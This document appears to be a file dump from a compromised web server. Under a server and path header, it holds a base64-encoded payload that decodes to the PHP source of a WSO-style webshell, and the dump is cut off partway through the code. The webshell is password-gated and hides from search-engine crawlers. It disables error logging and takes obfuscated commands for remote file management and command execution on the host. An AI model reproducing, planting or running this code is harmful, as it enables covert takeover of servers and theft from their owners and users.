| Linux server27.hostingraja.org 2.6.32-954.3.5.lve1.4.93.el6.x86_64 #1 SMP Wed Oct 4 17:04:29 UTC 2023 x86_64 Path : /home/udaipurk/.cagefs/tmp/ |
| Current File : /home/udaipurk/.cagefs/tmp/phpNKkcmv |
data=PCEtLSBGaWxlX1hlbzkwIC0tPg0KPD9waHANCi8vLS0tLS0tLS0tLS0tLS0tLS1QYXNzd29yZC0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJOKWmyA9ICIiOw0KJOKWmCA9IHRydWU7DQok4pacID0gJ1VURi04JzsNCiTilpogPSAnRmlsZXNNYW4nOw0KJOKWmSA9IG1kNSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOw0KaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKSB7DQogICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiLCAk4paZKTsNCn0NCmlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkNCiAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICTilpw7DQppZiAoIWlzc2V0KCRfUE9TVFsnbmUnXSkpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ2EnXSkpICRfUE9TVFsnYSddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydhJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7DQogICAgaWYoaXNzZXQoJF9QT1NUWydjJ10pKSAkX1BPU1RbJ2MnXSA9IGljb252KCJ1dGYtOCIsICRfUE9TVFsnY2hhcnNldCddLCBkZWNyeXB0KCRfUE9TVFsnYyddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpICRfUE9TVFsncDEnXSA9IGljb252KCJ1dGYtOCIsICRfUE9TVFsnY2hhcnNldCddLCBkZWNyeXB0KCRfUE9TVFsncDEnXSwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKTsNCiAgICBpZihpc3NldCgkX1BPU1RbJ3AyJ10pKSAkX1BPU1RbJ3AyJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ3AyJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7DQogICAgaWYoaXNzZXQoJF9QT1NUWydwMyddKSkgJF9QT1NUWydwMyddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydwMyddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOw0KfQ0KZnVuY3Rpb24gZGVjcnlwdCgkc3RyLCRwd2QpeyRwd2Q9YmFzZTY0X2VuY29kZSgkcHdkKTskc3RyPWJhc2U2NF9kZWNvZGUoJHN0cik7JGVuY19jaHI9IiI7JGVuY19zdHI9IiI7JGk9MDt3aGlsZSgkaTxzdHJsZW4oJHN0cikpe2Zvcigkaj0wOyRqPHN0cmxlbigkcHdkKTskaisrKXskZW5jX2Nocj1jaHIob3JkKCRzdHJbJGldKV5vcmQoJHB3ZFskal0pKTskZW5jX3N0ci49JGVuY19jaHI7JGkrKztpZigkaT49c3RybGVuKCRzdHIpKWJyZWFrO319cmV0dXJuIGJhc2U2NF9kZWNvZGUoJGVuY19zdHIpO30NCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQppZih2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8Jykpew0KICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCn0NCkBkZWZpbmUoJ1ZFUlNJT04nLCAnNC4yLjYnKTsNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJykgfHwgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsNCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCiAgICB9DQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9DT09LSUUpOw0KfQ0KLyogKNChKSAxMS4yMDExIG9SYiAqLw0KaWYoIWVtcHR5KCTilpspKSB7DQogICAgaWYoaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIChtZDUoJF9QT1NUWydwYXNzJ10pID09ICTilpspKQ0KICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICTilpspOw0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICTilpspKQ0KICAgICAgICBoYXJkTG9naW4oKTsNCn0NCmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IChib29sKSTilpg7DQpmdW5jdGlvbiBoYXJkTG9naW4oKSB7DQogICAgICAgIGlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOw0KICAgICAgICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgICBleGl0Ow0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIGRpZSgiPC9icj48L2JyPjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0IHN0eWxlPSdmb250LWZhbWlseTpOdW5pdG8sIHNhbnMtc2VyaWY7Y29sb3I6IzFhMWExYTsgdGV4dC1zaGFkb3c6IDJweCAwIDAgIzBkNTJiZiwgLTJweCAwIDAgIzBkNTJiZiwgMCAycHggMCAjMGQ1MmJmLCAwIC0ycHggMCAjMGQ1MmJmLCAxcHggMXB4ICMwZDUyYmYsIC0xcHggLTFweCAwICMwZDUyYmYsIDFweCAtMXB4IDAgIzBkNTJiZiwgLTFweCAxcHggMCAjMGQ1MmJmOyB0ZXh0LWFsaWduOiBjZW50ZXI7Jz48aDM%2BSGVsbG8gPGJyPldlbGNvbWUgdG8gd3NvIHdlYnNoZWxsIHJlZGVzaWduYXRlZCBieSBtSWNIeSBBbVJhTmU8L2gzPjxicj48aW5wdXQgcGxhY2Vob2xkZXI9J3Bhc3N3b3JkJyB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcyBzdHlsZT0nYm9yZGVyLXJhZGl1czogNHB4IDBweCAwcHggNHB4OyBiYWNrZ3JvdW5kLWNvbG9yOndoaXRlc21va2U7Ym9yZGVyOjFweCBzb2xpZCAjRkZGO291dGxpbmU6bm9uZTsnIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSd3YXRjaGluZycgdmFsdWU9Jz4%2BJyBzdHlsZT0naGVpZ2h0OiAyMHB4OyBib3JkZXI6IG5vbmU7IGJvcmRlci1yYWRpdXM6IDBweCA0cHggNHB4IDBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwZDUyYmY7Y29sb3I6I2ZmZjtjdXJzb3I6cG9pbnRlcjsnPjwvZm9ybT48L3ByZT4NCjxkaXYgY2xhc3M9J3ZpZXcnPjxkaXYgY2xhc3M9J3BsYW5lIG1haW4nPjxkaXYgY2xhc3M9J2NpcmNsZSc%2BPC9kaXY%2BPGRpdiBjbGFzcz0nY2lyY2xlJz48L2Rpdj48ZGl2IGNsYXNzPSdjaXJjbGUnPjwvZGl2PjxkaXYgY2xhc3M9J2NpcmNsZSc%2BPC9kaXY%2BPGRpdiBjbGFzcz0nY2lyY2xlJz48L2Rpdj48ZGl2IGNsYXNzPSdjaXJjbGUnPjwvZGl2PjwvZGl2PjwvZGl2Pg0KPHN0eWxlPmJvZHksaHRtbHtiYWNrZ3JvdW5kOiMxYTFhMWE7b3ZlcmZsb3c6aGlkZGVuO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDogLTI7fS52aWV3e3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDtyaWdodDowO2JvdHRvbTowOy13ZWJraXQtcGVyc3BlY3RpdmU6NDAwO3BlcnNwZWN0aXZlOjQwMDt6LWluZGV4OiAtMjt9LnBsYW5le3dpZHRoOjEyMHB4O2hlaWdodDoxMjBweDstd2Via2l0LXRyYW5zZm9ybS1zdHlsZTpwcmVzZXJ2ZS0zZDt0cmFuc2Zvcm0tc3R5bGU6cHJlc2VydmUtM2Q7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDogLTI7fS5wbGFuZS5tYWlue3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDtyaWdodDowO2JvdHRvbTowO21hcmdpbjphdXRvOy13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZVgoNjBkZWcpIHJvdGF0ZVooLTMwZGVnKTt0cmFuc2Zvcm06cm90YXRlWCg2MGRlZykgcm90YXRlWigtMzBkZWcpOy13ZWJraXQtYW5pbWF0aW9uOnJvdGF0ZSAyMHMgaW5maW5pdGUgbGluZWFyO2FuaW1hdGlvbjpyb3RhdGUgMjBzIGluZmluaXRlIGxpbmVhcjt6LWluZGV4OiAtMjt9LnBsYW5lLm1haW4gLmNpcmNsZXt3aWR0aDoxMjBweDtoZWlnaHQ6MTIwcHg7cG9zaXRpb246YWJzb2x1dGU7LXdlYmtpdC10cmFuc2Zvcm0tc3R5bGU6cHJlc2VydmUtM2Q7dHJhbnNmb3JtLXN0eWxlOnByZXNlcnZlLTNkO2JvcmRlci1yYWRpdXM6MTAwJTtib3gtc2l6aW5nOmJvcmRlci1ib3g7Ym94LXNoYWRvdzowIDAgNjBweCAjYTEwNzA1LGluc2V0IDAgMCA2MHB4ICM3YTAwMDA7ei1pbmRleDogLTI7fS5wbGFuZS5tYWluIC5jaXJjbGU6OmFmdGVyLC5wbGFuZS5tYWluIC5jaXJjbGU6OmJlZm9yZXtjb250ZW50OicnO2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3JpZ2h0OjA7Ym90dG9tOjA7bWFyZ2luOmF1dG87d2lkdGg6NSU7aGVpZ2h0OjUlO2JvcmRlci1yYWRpdXM6MTAwJTtiYWNrZ3JvdW5kOiM1ZDA4MTk7Ym94LXNpemluZzpib3JkZXItYm94O2JveC1zaGFkb3c6MCAwIDYwcHggMnB4ICM3YTAwMDA7ei1pbmRleDogLTI7fS5wbGFuZS5tYWluIC5jaXJjbGU6OmJlZm9yZXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVaKC05MHB4KTt0cmFuc2Zvcm06dHJhbnNsYXRlWigtOTBweCl9LnBsYW5lLm1haW4gLmNpcmNsZTo6YWZ0ZXJ7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWig5MHB4KTt0cmFuc2Zvcm06dHJhbnNsYXRlWig5MHB4KX0ucGxhbmUubWFpbiAuY2lyY2xlOm50aC1jaGlsZCgxKXstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGVaKDcyZGVnKSByb3RhdGVYKDYzLjQzNWRlZyk7dHJhbnNmb3JtOnJvdGF0ZVooNzJkZWcpIHJvdGF0ZVgoNjMuNDM1ZGVnKX0ucGxhbmUubWFpbiAuY2lyY2xlOm50aC1jaGlsZCgyKXstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGVaKDE0NGRlZykgcm90YXRlWCg2My40MzVkZWcpO3RyYW5zZm9ybTpyb3RhdGVaKDE0NGRlZykgcm90YXRlWCg2My40MzVkZWcpfS5wbGFuZS5tYWluIC5jaXJjbGU6bnRoLWNoaWxkKDMpey13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZVooMjE2ZGVnKSByb3RhdGVYKDYzLjQzNWRlZyk7dHJhbnNmb3JtOnJvdGF0ZVooMjE2ZGVnKSByb3RhdGVYKDYzLjQzNWRlZyl9LnBsYW5lLm1haW4gLmNpcmNsZTpudGgtY2hpbGQoNCl7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlWigyODhkZWcpIHJvdGF0ZVgoNjMuNDM1ZGVnKTt0cmFuc2Zvcm06cm90YXRlWigyODhkZWcpIHJvdGF0ZVgoNjMuNDM1ZGVnKX0ucGxhbmUubWFpbiAuY2lyY2xlOm50aC1jaGlsZCg1KXstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGVaKDM2MGRlZykgcm90YXRlWCg2My40MzVkZWcpO3RyYW5zZm9ybTpyb3RhdGVaKDM2MGRlZykgcm90YXRlWCg2My40MzVkZWcpfUAtd2Via2l0LWtleWZyYW1lcyByb3RhdGV7MCV7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlWCgwKSByb3RhdGVZKDApIHJvdGF0ZVooMCk7dHJhbnNmb3JtOnJvdGF0ZVgoMCkgcm90YXRlWSgwKSByb3RhdGVaKDApfTEwMCV7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKSByb3RhdGVaKDM2MGRlZyk7dHJhbnNmb3JtOnJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDM2MGRlZykgcm90YXRlWigzNjBkZWcpfX1Aa2V5ZnJhbWVzIHJvdGF0ZXswJXstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGVYKDApIHJvdGF0ZVkoMCkgcm90YXRlWigwKTt0cmFuc2Zvcm06cm90YXRlWCgwKSByb3RhdGVZKDApIHJvdGF0ZVooMCl9MTAwJXstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpIHJvdGF0ZVooMzYwZGVnKTt0cmFuc2Zvcm06cm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKSByb3RhdGVaKDM2MGRlZyl9fTsgaDJ7Y29sb3I6d2hpdGVzbW9rZTsgZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9PC9zdHlsZT4iKTsNCn0NCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikNCiAgICAkb3MgPSAnd2luJzsNCmVsc2UNCiAgICAkb3MgPSAnbml4JzsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQppZighJHNhZmVfbW9kZSkNCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsNCmlmKGlzc2V0KCRfUE9TVFsnYyddKSkNCiAgICBAY2hkaXIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnZXRjd2QoKTsNCmlmKCRvcyA9PSAnd2luJykgew0KICAgICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsNCiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJykNCiAgICAkY3dkIC49ICcvJzsNCi8qICjQoSkgMDQuMjAxNSBQaXJhdCAqLw0KZnVuY3Rpb24gaGFyZEhlYWRlcigpIHsNCiAgICBpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpDQogICAgICAgICRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ%2BKWnCddOw0KICAgIGVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gVkVSU0lPTiAuIjwvdGl0bGU%2BDQogICAgPGxpbmsgaHJlZj0naHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M%2FZmFtaWx5PU51bml0bycgcmVsPSdzdHlsZXNoZWV0Jz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9J2h0dHBzOi8vY2RuLnJhd2dpdC5jb20va2ltZWlnYS9iYWh1bnlhL2Nzcy9iYWh1bnlhLTAuMS4zLmNzcyc%2BDQo8c3R5bGU%2BDQogICAgYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDYwQTEwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46MDsgZm9udDpub3JtYWwgNzUlIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7IH0gY2FudmFzeyBkaXNwbGF5OiBibG9jazsgdmVydGljYWwtYWxpZ246IGJvdHRvbTt9DQogICAgI3BhcnRpY2xlcy1qc3t3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDBweDsgYmFja2dyb3VuZC1jb2xvcjogIzA2MGExMDsgYmFja2dyb3VuZC1pbWFnZTogdXJsKCcnKTsgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsgYmFja2dyb3VuZC1wb3NpdGlvbjogNTAlIDUwJTt9DQogICAgYm9keSx0ZCx0aCAge2ZvbnQ6MTBwdCB0YWhvbWEsYXJpYWwsdmVyZGFuYSxzYW5zLXNlcmlmLEx1Y2lkYSBTYW5zO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDt9DQogICAgdGFibGUuaW5mbyAge2NvbG9yOiNDM0MzQzM7fQ0KICAgIHRhYmxlI3Rvb2xzVGJsIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMDYwQTEwO30NCiAgICBzcGFuLGgxLGEgICB7Y29sb3I6IzY4YjcyMyAhaW1wb3J0YW50O30NCiAgICBzcGFuICAgICAgICB7Zm9udC13ZWlnaHQ6Ym9sZGVyO30NCiAgICBoMSAgICAgICAgICB7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkICNhMTA3MDU7cGFkZGluZzoycHggNXB4O2ZvbnQ6MTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzEwMTUxYzttYXJnaW46MHB4O30NCiAgICBkaXYuY29udGVudCB7cGFkZGluZzo1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzA2MGExMDt9DQogICAgYSAgICAgICAgICAge3RleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICBhOmhvdmVyICAgICB7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQogICAgLnRvb2x0aXA6OmFmdGVyIHtiYWNrZ3JvdW5kOiMwNjYzRDU7Y29sb3I6I0ZGRjtjb250ZW50OiBhdHRyKGRhdGEtdG9vbHRpcCk7bWFyZ2luLXRvcDotNTBweDtkaXNwbGF5OmJsb2NrO3BhZGRpbmc6NnB4IDEwcHg7cG9zaXRpb246YWJzb2x1dGU7dmlzaWJpbGl0eTpoaWRkZW47fQ0KICAgIC50b29sdGlwOmhvdmVyOjphZnRlciB7b3BhY2l0eToxO3Zpc2liaWxpdHk6dmlzaWJsZTt9DQogICAgLm1sMSAgICAgICAge2JvcmRlcjoxcHggc29saWQgIzIwMjgzMjtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzphdXRvO30NCiAgICAuYmlnYXJlYSAgICB7bWluLXdpZHRoOjEwMCU7bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICBpbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCB7bWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7Ym9yZGVyOm5vbmU7Zm9udDo5cHQgQ291cmllciBOZXc7b3V0bGluZTpub25lO30NCiAgICBsYWJlbCB7cG9zaXRpb246cmVsYXRpdmV9DQogICAgbGFiZWw6YWZ0ZXJ7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzk5OTtib3JkZXItcmlnaHQ6MnB4IHNvbGlkICM5OTk7Y29udGVudDonJztkaXNwbGF5OmJsb2NrO2hlaWdodDo1cHg7bWFyZ2luLXRvcDotNHB4O3BvaW50ZXItZXZlbnRzOm5vbmU7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MTJweDt0b3A6NTAlOy13ZWJraXQtdHJhbnNmb3JtLW9yaWdpbjo2NiUgNjYlOy1tcy10cmFuc2Zvcm0tb3JpZ2luOjY2JSA2NiU7dHJhbnNmb3JtLW9yaWdpbjo2NiUgNjYlOy13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZSg0NWRlZyk7LW1zLXRyYW5zZm9ybTpyb3RhdGUoNDVkZWcpO3RyYW5zZm9ybTpyb3RhdGUoNDVkZWcpOy13ZWJraXQtdHJhbnNpdGlvbjphbGwgLjE1cyBlYXNlLWluLW91dDt0cmFuc2l0aW9uOmFsbCAuMTVzIGVhc2UtaW4tb3V0O3dpZHRoOjVweH0NCiAgICBsYWJlbDpiZWZvcmUge2NvbnRlbnQ6Jyc7cmlnaHQ6MDsgdG9wOjA7d2lkdGg6MTdweDsgaGVpZ2h0OjE3cHg7YmFja2dyb3VuZDojMjAyODMyO3Bvc2l0aW9uOmFic29sdXRlO3BvaW50ZXItZXZlbnRzOm5vbmU7ZGlzcGxheTpibG9jazt9DQogICAgZm9ybSAgICAgICAge21hcmdpbjowcHg7fQ0KICAgICN0b29sc1RibCAgIHt0ZXh0LWFsaWduOmNlbnRlcjt9DQogICAgI2ZhayAgICAgICAge2JhY2tncm91bmQ6bm9uZTt9DQogICAgI2ZhayB0ZCAgICAge3BhZGRpbmc6NXB4IDAgMCAwO30NCiAgICBpZnJhbWUgICAgICB7Ym9yZGVyOjFweCBzb2xpZCAjMDYwYTEwO30NCiAgICAudG9vbHNJbnAgICB7d2lkdGg6MzAwcHh9DQogICAgLm1haW4gdGggICAge3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwNjBhMTA7fQ0KICAgIC5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzM1NDI1Mjt9DQogICAgLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9DQogICAgaW5wdXRbdHlwZT0nc3VibWl0J117YmFja2dyb3VuZC1jb2xvcjojMGQ1MmJmOyBjb2xvcjojZmFmYWZhO30NCiAgICBpbnB1dFt0eXBlPSdidXR0b24nXXtiYWNrZ3JvdW5kLWNvbG9yOiMwZDUyYmY7IGNvbG9yOiNmYWZhZmE7fQ0KICAgIGlucHV0W3R5cGU9J3N1Ym1pdCddOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzAwMmU5OTsgY29sb3I6I2ZhZmFmYTt9DQogICAgaW5wdXRbdHlwZT0nYnV0dG9uJ106aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMDAyZTk5OyBjb2xvcjojZmFmYWZhO30NCiAgICAubDEgICAgICAgICB7YmFja2dyb3VuZC1jb2xvcjojMjAyODMyO30NCiAgICBwcmUgICAgICAgICB7Zm9udDo5cHQgQ291cmllciBOZXc7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ%2BDQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk%2FJyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIGQgPSBkb2N1bWVudDsNCiAgICBmdW5jdGlvbiBlbmNyeXB0KHN0cixwd2Qpe2lmKHB3ZD09bnVsbHx8cHdkLmxlbmd0aDw9MCl7cmV0dXJuIG51bGw7fXN0cj1iYXNlNjRfZW5jb2RlKHN0cik7cHdkPWJhc2U2NF9lbmNvZGUocHdkKTt2YXIgZW5jX2Nocj0nJzt2YXIgZW5jX3N0cj0nJzt2YXIgaT0wO3doaWxlKGk8c3RyLmxlbmd0aCl7Zm9yKHZhciBqPTA7ajxwd2QubGVuZ3RoO2orKyl7ZW5jX2Nocj1zdHIuY2hhckNvZGVBdChpKV5wd2QuY2hhckNvZGVBdChqKTtlbmNfc3RyKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGVuY19jaHIpO2krKztpZihpPj1zdHIubGVuZ3RoKWJyZWFrO319cmV0dXJuIGJhc2U2NF9lbmNvZGUoZW5jX3N0cik7fQ0KICAgIGZ1bmN0aW9uIHV0ZjhfZW5jb2RlKGFyZ1N0cmluZyl7dmFyIHN0cmluZz0oYXJnU3RyaW5nKycnKTt2YXIgdXRmdGV4dD0nJyxzdGFydCxlbmQsc3RyaW5nbD0wO3N0YXJ0PWVuZD0wO3N0cmluZ2w9c3RyaW5nLmxlbmd0aDtmb3IodmFyIG49MDtuPHN0cmluZ2w7bisrKXt2YXIgYzE9c3RyaW5nLmNoYXJDb2RlQXQobik7dmFyIGVuYz1udWxsO2lmKGMxPDEyOCl7ZW5kKys7fWVsc2UgaWYoYzE%2BMTI3JiZjMTwyMDQ4KXtlbmM9U3RyaW5nLmZyb21DaGFyQ29kZSgoYzE%2BPjYpfDE5MikrU3RyaW5nLmZyb21DaGFyQ29kZSgoYzEmNjMpfDEyOCk7fWVsc2V7ZW5jPVN0cmluZy5mcm9tQ2hhckNvZGUoKGMxPj4xMil8MjI0KStTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYzE%2BPjYpJjYzKXwxMjgpK1N0cmluZy5mcm9tQ2hhckNvZGUoKGMxJjYzKXwxMjgpO31pZihlbmMhPT1udWxsKXtpZihlbmQ%2Bc3RhcnQpe3V0ZnRleHQrPXN0cmluZy5zbGljZShzdGFydCxlbmQpO311dGZ0ZXh0Kz1lbmM7c3RhcnQ9ZW5kPW4rMTt9fWlmKGVuZD5zdGFydCl7dXRmdGV4dCs9c3RyaW5nLnNsaWNlKHN0YXJ0LHN0cmluZ2wpO31yZXR1cm4gdXRmdGV4dDt9DQogICAgZnVuY3Rpb24gYmFzZTY0X2VuY29kZShkYXRhKXt2YXIgYjY0ID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89Jzt2YXIgbzEsbzIsbzMsaDEsaDIsaDMsaDQsYml0cyxpPTAsYWM9MCxlbmM9JycsdG1wX2Fycj1bXTtpZiAoIWRhdGEpe3JldHVybiBkYXRhO31kYXRhPXV0ZjhfZW5jb2RlKGRhdGErJycpO2Rve28xPWRhdGEuY2hhckNvZGVBdChpKyspO28yPWRhdGEuY2hhckNvZGVBdChpKyspO28zPWRhdGEuY2hhckNvZGVBdChpKyspO2JpdHM9bzE8PDE2fG8yPDw4fG8zO2gx